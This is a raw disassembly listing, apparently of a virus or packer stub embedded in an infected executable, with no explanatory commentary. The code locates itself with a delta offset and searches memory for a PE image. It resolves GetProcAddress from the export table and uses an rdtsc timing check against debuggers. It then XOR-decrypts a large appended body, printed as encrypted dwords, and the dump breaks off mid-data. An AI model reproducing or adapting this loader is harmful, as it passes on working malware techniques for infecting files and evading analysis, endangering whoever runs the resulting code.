'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0 dd 2C0h dup(0) ; --------------------------------------------------------------------------- loc_61B000: ; DATA XREF: sdfs____:0061E2CCo call $+5 mov eax, [esp] cld mov [eax+32C7h], ebx mov ecx, [eax+297Fh] mov ebx, [esp+4] and ecx, 10000000h jz short loc_61B04C pop ecx mov [eax+32CBh], esi mov cl, [eax+2983h] mov [eax+32CFh], edi cmp cl, 0E8h jz short loc_61B041 mov ebx, [eax+2985h] jmp short loc_61B04A ; --------------------------------------------------------------------------- loc_61B041: ; CODE XREF: sdfs____:0061B037j add ebx, [eax+2984h] mov ebx, [ebx+2] loc_61B04A: ; CODE XREF: sdfs____:0061B03Fj mov ebx, [ebx] loc_61B04C: ; CODE XREF: sdfs____:0061B01Fj push ebp mov ebp, eax sub dword ptr [esp+4], 105FF1h sub ebp, 101005h mov edi, [esp+4] lea esi, [ebp+103990h] mov ecx, 8Ah rep movsb call sub_61B125 mov ecx, eax call sub_61B125 sub eax, ecx jz short loc_61B0F7 cmp eax, 100h ja short loc_61B0F7 and ebx, 0FFFFF000h loc_61B08B: ; CODE XREF: sdfs____:0061B09Aj cmp dword ptr [ebx+4Eh], 73696854h jz short loc_61B09C loc_61B094: ; CODE XREF: sdfs____:0061B0A9j sub ebx, 100h jnz short loc_61B08B loc_61B09C: ; CODE XREF: sdfs____:0061B092j mov eax, ebx add eax, [ebx+3Ch] mov edx, [eax+78h] cmp word ptr [eax], 4550h jnz short loc_61B094 add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_61B0B6: ; CODE XREF: sdfs____:loc_61B0CAj lodsd add eax, ebx cmp word ptr [eax+2], 5074h jnz short loc_61B0CA cmp dword ptr [eax+5], 6441636Fh jz short loc_61B0CF loc_61B0CA: ; CODE XREF: sdfs____:0061B0BFj loop loc_61B0B6 pop ecx jmp short loc_61B0F7 ; --------------------------------------------------------------------------- loc_61B0CF: ; CODE XREF: sdfs____:0061B0C8j sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx lea eax, [ebp+10113Fh] mov dx, [eax-17h] call sub_61B12A jmp short loc_61B13F ; --------------------------------------------------------------------------- loc_61B0F7: ; CODE XREF: sdfs____:0061B07Cj ; sdfs____:0061B083j ... mov eax, [ebp+103984h] and eax, 10000000h jz short loc_61B123 mov edi, [esp+4] lea esi, [ebp+103988h] lodsd mov ebx, [ebp+1042CCh] stosd movsb mov edi, [ebp+1042D4h] mov esi, [ebp+1042D0h] loc_61B123: ; CODE XREF: sdfs____:0061B102j pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_61B125 proc near ; CODE XREF: sdfs____:0061B06Ep ; sdfs____:0061B075p rdtsc retn sub_61B125 endp ; --------------------------------------------------------------------------- db 0A7h, 0F3h ; =============== S U B R O U T I N E ======================================= sub_61B12A proc near ; CODE XREF: sdfs____:0061B0F0p push ebx mov ecx, 2845h mov ebx, edx loc_61B132: ; CODE XREF: sub_61B12A+11j xor [eax], dl sub dl, bl xchg bl, bh inc eax xchg dl, dh loop loc_61B132 pop ebx retn sub_61B12A endp ; --------------------------------------------------------------------------- loc_61B13F: ; CODE XREF: sdfs____:0061B0F5j dec edi inc dword ptr [eax] add [ecx+4Eh], bl fidiv word ptr [ebp+78h] inc edx sub al, 55h shl dword ptr ds:86F2B7Ah, cl aaa mov esi, 0BC5CF0A8h retn ; --------------------------------------------------------------------------- dd 8591C48Fh, 45F5DEA9h, 8CA4F1A6h, 0F58F3498h, 1E04B583h dd 7A9770EEh, 0B1286601h, 635207ADh, 6109FB5Fh, 0B3F50F35h dd 16D252D6h, 0D4E9D2DFh, 0F3510D11h, 67EE26DFh, 4108EB38h dd 772D5A90h, 5AC3B374h, 79C30119h, 8C70A05Dh, 3A0F6DBDh dd 0EDA41494h, 0FABF10Ch, 0C5AD79CBh, 0C13E9F1Ah, 0B8F2DCEFh dd 0E7369B2Eh, 8CD0C5BCh, 4CB1F25Dh, 0E8E401E4h, 2C8E5691h dd 71BD883Eh, 0B641BAB5h, 0C5CC794Bh, 0FF539DE9h, 2910C016h dd 7AF444Ah, 8C442425h, 16C53D8h, 44F5987Bh, 0A3825F79h dd 0E82135ACh, 7D69087h, 34084062h, 34FA12EEh, 236A51F8h dd 27EF7631h, 55CC2724h, 0B862DA55h, 0A5169828h, 97FEFD8Ah dd 0C0B8F0B3h, 0EBF49438h, 0DF083CD7h, 5F9406F1h, 2FAE2DF4h dd 3B76A35h, 77A29830h, 0AAF1CE59h, 0C99080C6h, 3275B98Dh dd 3DB4E81Ch, 0FFCE7B40h, 346548CBh, 5312E8A9h, 0E7E309FCh dd 3C16B2AAh, 5A587ABFh, 8EE79B9Dh, 0CD946F32h, 83158D62h dd 0CFA88F22h, 8B859682h, 95ED3CDCh, 79307B06h, 3DA3A003h dd 0A4FAD70Dh, 5D569BC3h, 0F042161h, 0C1E06911h, 1B221A91h dd 25BDCCAFh, 0E9E0EB36h, 497530F3h, 398866F2h, 0ED4E9417h dd 9F3E2E61h, 5132F84Fh, 547E42A4h, 0DDDC5D15h, 67A70E98h dd 27F6554Ch, 0C1B272DDh, 82F425E7h, 3F30E094h, 0E12D601Bh dd 0C2AB3A35h, 2F5CEC4Dh, 0FD95C769h, 3C6F5AE9h, 5BBA3C37h dd 8E07455Ch, 0AFE0306Ch, 0F5F718EBh, 2312C831h, 0D52C7AF7h dd 0C3126039h, 0C660AC1Fh, 0FB44E0F8h, 4B21C987h, 7CAEE6B6h dd 0BF752572h, 2E24AEBh, 10149FE1h, 9416BE0Bh, 0D90E829Eh dd 0FF45223Dh, 2D64D657h, 0E1BC03FAh, 0E167389Bh, 983765A4h dd 7ECC8C87h, 0B7D8945Ch, 5870FFF3h, 32323782h, 38BF6437h dd 6F5E2887h, 0AE69B8A4h, 0C3BB55F0h, 4F11A78Fh, 0D4B6CE97h dd 0E8A16FD9h, 0A2D6C752h, 0C08FF4E7h, 0FF0E98C3h, 0C0C751C8h dd 2AD78544h, 0FD6CAC66h, 0C7866FC1h, 46E89D1Eh, 0E431D2BDh dd 42284ADh, 0CEA461Eh, 162EB1Ah, 99756316h, 2824262Fh dd 47431DFCh, 9690963h, 0BF07627Dh, 925BEADAh, 9215A04Eh dd 0D1D835CFh, 28942AE5h, 9E089B72h, 72AB6A2Bh, 99507DC7h dd 49D394E1h, 3FF70F01h, 247BB483h, 9A8624Fh, 13C2C859h dd 0C5B6A044h, 779CDA62h, 2910D06Bh, 8A6AE815h, 0DD4A5E65h dd 19073AEh, 7220987Bh, 4FFA0A41h, 0DEACFCEDh, 8CC6C46Dh dd 0D3A00A1Fh, 39F878EDh, 0F17CC46Dh, 0A52E7653h, 7E22793Bh dd 0E5F72505h, 0BA7C9C51h, 9869BBD0h, 49B1F727h, 0FB7F2FBDh dd 14E444C7h, 5FFE0A4Ah, 0B4EB5780h, 0D33287A4h, 0F0C11C2Fh dd 2776DA1Bh, 8DD0608Ch, 74F012E7h, 36A7158h, 2F4B96D1h dd 49DC3D84h, 5302FBBAh, 51CBDE7h, 0F3530D29h, 0E257226h dd 6D03B00Dh, 0AAE1181Eh, 97C926F4h, 31B8DDFBh, 0A19E3F3Ah dd 133CCFh, 4716D09Bh, 0DFB55F44h, 0C13A4213h, 0A2566E47h dd 1F50E0F4h, 0C0A0D17Bh, 58351A95h, 1B0454Eh, 4229299Dh dd 89E00E79h, 9E8914CEh, 0ED34AB21h, 60691231h, 416666DEh dd 77B22F65h, 4B0F1A19h, 98487C9Dh, 73C8E4C7h, 34F018CDh dd 6DCAB272h, 5BCE5301h, 69C01BC7h, 0A0423A30h, 7FBF7D86h dd 0C8401B50h, 9BE55093h, 7F8E7E1Ch, 7EB6C7D4h, 7E5F4EA5h dd 71F8164Ch, 75429E55h, 867C2C4Eh, 0B908BBC6h, 0F9E5E043h dd 1475E634h, 129C60F3h, 5F91C024h, 0FC0D40BBh, 4CB1A52Ah dd 75C22A7Ah, 96985509h, 0C93158E7h, 0EEB5753Dh, 2D74EA71h dd 0E158138Eh, 5171389Bh, 434D155Eh, 9FCCF6E5h, 0CDE624D9h dd 590168F3h, 0CF91B209h, 0D764644Dh, 908A9D4Dh, 7E109EB9h dd 0E0827A41h, 7A46C446h, 0A23B2156h, 0E9C08592h, 0CBBB138Fh dd 732E6108h, 3B9DA601h, 4EB39B0Bh, 630A521Dh, 156C8EB3h dd 0C7866012h, 79A02092h, 2BBAD2ADh, 0DDD484C7h, 8FEE1F65h dd 4108E8FBh, 0C71CC44h, 0B5027EBAh, 0FB0F5549h, 0F20570E7h dd 36498C9Fh, 7DBD6902h, 8A4194B1h, 0D1C84641h, 0C1BEAF6Ch dd 23E4DCEFh, 0AB268E19h, 0EC2B2F5Ch, 2228A23Dh, 9818CD11h dd 0CED833E6h, 20CD7DF7h, 863DEAB5h, 0C5CC52FDh, 35A69B60h dd 75D3D013h, 0BE59E35Fh, 0E8295579h, 553CA935h, 820CFB0Eh dd 0F0E61CD9h, 55D89FFAh, 75B2DDD5h, 0B98E05BFh, 0A9F60AEh dd 7452A173h, 0CF6F134Dh, 0E02D5A78h, 5A24BF21h, 8431E903h dd 0F9FF4EF9h, 0AB0B1C4h, 8FABC7CFh, 0C29604B2h, 2C8D6392h dd 635BB84Ah, 0A6460B40h, 1A21796Dh, 4F32AB2Dh, 0BDE1E501h dd 0EEE8718Dh, 69D190C6h, 8EABE4A9h, 0D3AB48BFh, 36769B90h dd 6973C35Bh, 0C75A3B41h, 7032270h, 7319B23Ch, 88840018h dd 2BEA4FE9h, 50DDAAC3h, 8A948AA1h, 0FCB859B3h, 28528B94h dd 8D53D940h, 0C26E3F48h, 1B54612Ah, 430BD313h, 0A0FA0A12h dd 34A263E7h, 4CFAB8CAh, 0A3971BA5h, 0EB994297h, 486F9688h dd 88639456h, 0F3570045h, 2B31AB2Eh, 6635AA00h, 0D9E51A0Bh dd 0ACF5AFCh, 7C87C0D6h, 0AFB53FB9h, 35914892h, 436AB860h dd 0A628C97Eh, 0F6164E50h, 2C1A9C22h, 9638FB05h, 0A9D135EEh dd 0FDE67DAh, 5DB4D9D2h, 0FEB612B0h, 59D5FEBh, 5060AF53h dd 0D5421376h, 0D1324B7Eh, 50139236h, 933FFC02h, 0F8D344C6h dd 23C1A0D5h, 48ADC5CEh, 0C18D3CBBh, 0C886D82h, 1757D066h dd 0AD511F6Fh, 9284B71h, 6C1DA636h, 0AF1FCB71h, 0E6FD51DDh dd 2AF48CEAh, 0BACCF9D3h, 0E1882BA9h, 14656C9Ah, 626AC26Ch dd 0BD750349h, 12B660Eh, 4207BA0Bh, 0D3F10910h, 0E6F35EDFh dd 4C5ADCCh, 9BB9D6F1h, 0CBEA36AEh, 28679B85h, 0CD2DD562h dd 0C5403D65h, 17375945h, 7000D519h, 0B5F21A38h, 0DD542FAh dd 2BFBA1C8h, 9BA0E194h, 0DB8B5A88h, 416D8592h, 9647F646h dd 0DC6F4C5Fh, 3A338A3Ah, 6C1DD937h, 0D2CC0D29h, 4F071FBh dd 4ABEA3DCh, 0A1B915A5h, 0F49743B3h, 5C4ABAB0h, 0B126EB75h dd 0EC34325Ah, 271B9E2Ch, 0FD17CB0Bh, 0DBE724D6h, 0DC14EFEh dd 678CBAD0h, 0B0B6088Eh, 5A66A9Ah, 4579A66Ah, 0A84FE578h dd 0E82F5B63h, 4B10E63Fh, 901DEA28h, 0CAD42FF1h, 1BAC99F3h dd 62B4EDCDh, 0E98514B2h, 0E997D9Fh, 5314B774h, 0AA5C3555h dd 0D12D5C5Ah, 5601B527h, 9D39FF1Ch, 0D4E27089h, 3DD195D1h dd 98AFF1D8h, 0C38B3DA3h, 1C8A48F1h, 6579DD79h, 0A6413F40h dd 1A3E4C4Dh, 5415AB3Ah, 94F4CE73h, 0E2CC42ECh, 5BFB93C2h dd 9BADF392h, 0A18627B2h, 234D8EBBh, 6C5AC26Ah, 0F9363B45h dd 0C205F37h, 74189233h, 0BEF71114h, 1AF549C5h, 45F6D8C5h dd 8DB7FA8Ah, 0E18F598Ch, 47688190h, 8B70D45Dh, 0C85F2642h dd 2F3D5233h, 630FC315h, 0AEE50D36h, 3DA263E7h, 40C99DDBh dd 0B99F07BBh, 0E4825F85h, 5463969Ch, 864BC079h, 0D13E2854h dd 382AAF3Fh, 6A24CF11h, 0D4F9280Dh, 0AC343F5h, 19B9B2DCh dd 9EB6069Fh, 12974D89h, 5B5DB365h, 8646E169h, 0FD035561h dd 310F853Ch, 9018F71Bh, 0E8C30783h, 29CB76CEh, 0DB4C1C3h dd 0CCB10AB2h, 12976B8Eh, 2366AF6Eh, 0BB42137Ch, 87324D5Ch dd 51148534h, 890EE102h, 0F0F52AFEh, 2ADCF6C4h, 72C8DED8h dd 0B38634B0h, 0E9F639Ch, 5E16CA6Ch, 0BB55044Dh, 383E4753h dd 4817BB3Bh, 0BB10E739h, 0D8985DE7h, 31D79ECBh, 0B2B8F9D1h dd 0C8A53ABCh, 3A656E9Dh, 587ED779h, 0D8400553h, 1B205F41h dd 4406BA3Eh, 0B6F23501h dd 0CC9C6DE1h, 45D3AAC7h, 0A6A4F5ADh, 0CE8427ADh, 4D459885h dd 9A6AC858h, 0C55D3659h, 7336F17h, 7000D519h, 91C22F79h dd 4AE970D2h, 67FEFC9Fh, 0B886848Bh, 0E0827586h, 24438D88h dd 96709A6Ch, 0C04C0348h, 2E33B527h, 931C826h, 0EAED072Fh dd 14D671E2h, 6AD2A7E7h, 90A03DAEh, 0E49778E5h, 6378B9ACh dd 8253E278h, 99013876h, 21ACC11Bh, 7622F265h, 0FD8F3C55h dd 37B07A64h, 51922F4Ah, 1576CDFh, 27A048BFh, 31602F55h dd 0E59417E2h, 49C73427h, 379CB841h, 0A31156Bh, 0CBC382AEh dd 0BDACFC9Fh, 4E2E234h, 0BC8A60B9h, 1A942BCh, 4DD84F02h dd 9B7EA2AAh, 0D3196851h, 0D5F72506h, 667C9C51h, 269324Dh dd 49A0CE4Dh, 38C2663Eh, 9010C15Ah, 96CD06E1h, 794AB861h dd 0C3006A15h, 241DD8B4h, 76368E33h, 19039819h, 85F06685h dd 0DF211BF7h, 6CCE86FFh, 73DB681Fh, 0CA0D3A70h, 5DC65BCDh dd 0E0F59C0Ah, 0A8B8EF70h, 14953DA2h, 0CD84D1F3h, 93F67691h dd 0BAB8D8D9h, 68D2E011h, 0FDAC5613h, 4716EEF9h, 9372A279h dd 0D9D63A2Dh, 5D3E0447h, 0F03EE530h, 0D1B6BEEEh, 8CFB4595h dd 3582EA3Ah, 0A329FBC9h, 17DBB92h, 0D80AF2E8h, 0EDB1191Bh dd 9C3E5621h, 0AE0BAF9Ah, 0C1F721B7h, 388C4C41h, 678ED416h dd 0E6EB28B3h, 4E518D32h, 7DE41A3Dh, 629598Ch, 0FBC0881Bh dd 18BDC5CAh, 55622ACAh, 0D9F91369h, 419050AAh, 0A455FD94h dd 330E313Ch, 7F5B66C1h, 0FE75389Fh, 2312E33Eh, 2AD288F7h dd 55C3A5C6h, 0BC60F06Dh, 6671E6ADh, 9DBD0C08h, 0B1711EA1h dd 0C6435744h, 5BB7998Ah, 65FC0CEFh, 0BFB3F54h, 0FA306038h dd 0DCCFAFF4h, 7C64C449h, 8F2FD725h, 46769DAh, 43A2D4F7h dd 0AE89838h, 0B7D8684Ch, 5DC25DF3h, 0BF2E70Dh, 0E0346427h dd 7405FBC0h, 0DE02C84Bh, 0C894EFF8h, 0D7CC2C9Fh, 3792FE64h dd 2D5390E9h, 1E2D24D1h, 4D14EFABh, 7AD986DCh, 0B1284375h dd 63780A61h, 0F067F02h, 0C78F8621h, 3B2D2093h, 0E24478CCh dd 0B41774B2h, 9FD17674h, 498CEDFBh, 66ABD81Dh, 0A52C736Fh dd 2951CBEh, 970B08Bh, 560B3F7Dh, 6DB40F32h, 20FA5B3Ah dd 0AD5B78DBh, 8CF222C1h, 350C657Bh, 0EFCA0F19h, 0CD404031h dd 4B5BF625h, 87E15B67h, 248E46BFh, 452C8567h, 13C2BBB1h dd 2DDC069Fh, 77F61EEDh, 